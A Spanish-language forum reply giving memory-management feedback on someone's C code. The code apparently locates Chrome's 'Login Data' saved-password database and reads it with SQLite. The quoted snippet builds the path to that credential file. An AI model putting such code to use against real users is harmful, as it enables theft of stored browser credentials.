Bueno en fin vengo con una serie de dudas:
Porque te declaras y reservas dos punteros char y no los liberas?
Código
Ademas que necesidad hay de reservar memoria dinamicamente?
segun vi *CDir lo utilizas en la funcion
Código
void ChromeDirectory(char *Disk, char *cDir)
Pero viendo la implementacion:
Código
void ChromeDirectory(char *Disk, char *cDir) { DWORD I = 40; GetUserName(CurUser, &I); sprintf(cDir, "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk, CurUser); }
Para lo unico que lo utilizas es para pasarle la referencia a la funcion sprintf
Entonces por que no evitamos resevar dinamicamente y lo hacemos todo en la pila
ejemplo;
Código
y basta con pasarle la referencia
char cDir[200];
Código
ChromeDirectory("C:\\", &cDir);
Mismo caso para la variable
Código
se puede reservar en la pila:
Código
const char cData[140];
Pero segun veo en tu codigo esa variable cData sirve para obtener el contenido de la funcion sqlite3_column_text()
que segun su documentacion: https://www.sqlite.org/c3ref/column_blob.html
retorna un const unsigned char *, lo cual me indica que al final todo eso que reservaste con malloc en la variable cData de nada sirve ya que terminara apuntado a otra direccion y sera imposible liberar la memoria que has reservado.
Conclusion para la variable cData segun la documentacion no es necesario reservarle memoria ya que solo funciona como apuntador, basta con que la declararas asi:
Código
unsigned char *CData=NULL
Espero mis comentarios no sean tomados a mal.
Saludooss y buen trabajo